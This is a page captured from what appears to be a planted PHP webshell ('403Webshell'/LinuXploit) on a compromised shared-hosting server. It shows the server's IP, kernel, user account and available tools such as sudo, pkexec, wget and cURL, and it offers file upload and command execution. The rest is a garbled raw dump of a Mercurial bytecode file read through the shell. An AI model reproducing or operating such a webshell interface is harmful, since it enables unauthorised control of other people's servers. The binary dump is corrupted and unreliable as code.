403Webshell
Server IP : 108.167.183.253  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux gator4209.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : raghunath ( 2558)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/fastannotate/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/fastannotate/__pycache__/formatter.cpython-39.pyc
a

�+�b:�@sdddlmZddlmZmZddlmZmZmZm	Z	ddl
mZGdd�de�Z
Gdd�de
�Zd	S)
�)�absolute_import)�hex�short)�encoding�pycompat�templatefilters�util)�dateutilc@s8eZdZdZdd�Zddd�Zejdd��Zd	d
�Z	dS)�defaultformatterzEthe default formatter that does leftpad and support some common flagsc		sx||_�|_|jrtj}ntj}t�|�}t��fdd���|j�|j�	d�dkr����fdd����d�
��d�d�d���d	���	d
�s��d7�d���fdd�}�fd
d�}n
tj
}}dd�fdd�|jfdd�fdd�|fd
d�fdd�|fdd�fdd�|fdddd�tj
fdddd�tj
fg}ddd����fdd�|D�}t|d�|d<d	|dd <||_dS)!Ncs�|dS�Nr���x)�repor�B/usr/lib64/python3.9/site-packages/hgext/fastannotate/formatter.py�<lambda>#�z+defaultformatter.__init__.<locals>.<lambda>srevswdir()cs|durdS�|�S�Nrr
)�origrrr)r�.�+�%dr�	changeset� cs|dur�Sd|�S)Nrrr
)�wrev�wrevpadrrr0rcs|dur�St�|�dS)Nr)r�bytestrr
)�wnoderr�csetenc2sz*defaultformatter.__init__.<locals>.csetencsusercs�|���Sr)�userr
��getctxrrr<r�numbercs�|���Sr)�revr
r rrr=rcs�|d�Srrr
)�hexfuncrrr>r�datecs�|���Sr)�dater
r rrr?rsfilecSs|dS)N�rr
rrrr@rsline_number�:cSs|ddS)N�rr
rrrrAr�node)r"rcs2g|]*\}}}}��|�r||��||�|f�qSr)�get)�.0�op�sepr+�enc)�fieldnamemap�optsrr�
<listcomp>Ds

�z-defaultformatter.__init__.<locals>.<listcomp>rr))�uir1�quietr	Z	shortdateZdatestrrZ	cachefunc�_hexfuncr+Znoder#rrZ	shortuser�list�funcmap)	�selfr3rr1ZdatefuncZrevencrZopmapr7r)	r0r!r$r1rrrrrr�__init__sD


�
�zdefaultformatter.__init__Ncsxg}g}|jD]j\�}}���fdd�|D�}|�|�|dvrL|dd�}t�tjt|��}	|	rjt|	�nd}
|�|
�qd}t�t	|��D]�}t
|�D]B\}
}|j|
d}d||
t	||�}|||||7}q�|�rN|dur�|d	||7}nR||d||df}||v�r0|d
||7}n|d	|j�d||d�7}|d
d�dkr�|d7}q�|j�
|�dS)z�(annotateresult, [str], set([rev, linenum])) -> None. write output.
        annotateresult can be [(node, linenum, path)], or [(node, linenum)]
        csg|]}��|���qSrr)r,r�r/�frrr2Wrz*defaultformatter.write.<locals>.<listcomp>)r*r%Nr)rrrs: s:  �-sdiff.deleted����
)r7�appendr�maplistrZcolwidth�set�max�xrange�len�	enumerater3Zlabel�write)r8�annotatedresult�lines�
existinglines�piecesZ	maxwidthsr.�name�lZwidthsZmaxwidth�result�i�j�pZpadding�keyrr:rrFNs8


�
zdefaultformatter.writecCs |jjs|j�d�rtStSdS)Ns	long_hash)r3Z	debugflagr1r+rr�r8rrrr5wszdefaultformatter._hexfunccCsdSrrrRrrr�end~szdefaultformatter.end)NN)
�__name__�
__module__�__qualname__�__doc__r9rFr�
propertycacher5rSrrrrr
s4
)
r
csDeZdZ�fdd�Zddd�Zdd�Zejdd	��Zd
d�Z	�Z
S)
�
jsonformattercs*tt|��|||�|j�d�d|_dS)N�[F)�superrYr9r3rF�	needcomma)r8r3rr1��	__class__rrr9�szjsonformatter.__init__Nc
	s��r|���fdd�|jD�}|dur6|�d|f�|��dgt|dd��dg}d}t��d}t�t���D]b}|d7}t|�D]4\}	}
|
\}}|d	|tj	||d
d�||	f7}q�|d||kr�dnd7}qx|d
kr�d|_
|j�|�dS)Ncs$g|]\}}}}|t�|��f�qSr)rr@)r,r;r.rKr/�rGrrr2�s
�z'jsonformatter.write.<locals>.<listcomp>sline�,r=rr)s
 {
s
  "%s": %s%s
F)Zparanoids }%srT)
�_writecommar7r?�sortrDrrCrErZjsonr\r3rF)
r8rGrHrIrJ�sepsrMZlastirNrOrP�kZvsrr_rrF�s0
��
zjsonformatter.writecCs|jr|j�d�d|_dS)Nr`F)r\r3rFrRrrrra�szjsonformatter._writecommacCstSr)rrRrrrr5�szjsonformatter._hexfunccCs|j�d�dS)Ns
]
)r3rFrRrrrrS�szjsonformatter.end)NN)rTrUrVr9rFrarrXr5rS�
__classcell__rrr]rrY�s

rYN)Z
__future__rZmercurial.noderrZ	mercurialrrrrZmercurial.utilsr	�objectr
rYrrrr�<module>s
k

Youez - 2016 - github.com/yon3zu
LinuXploit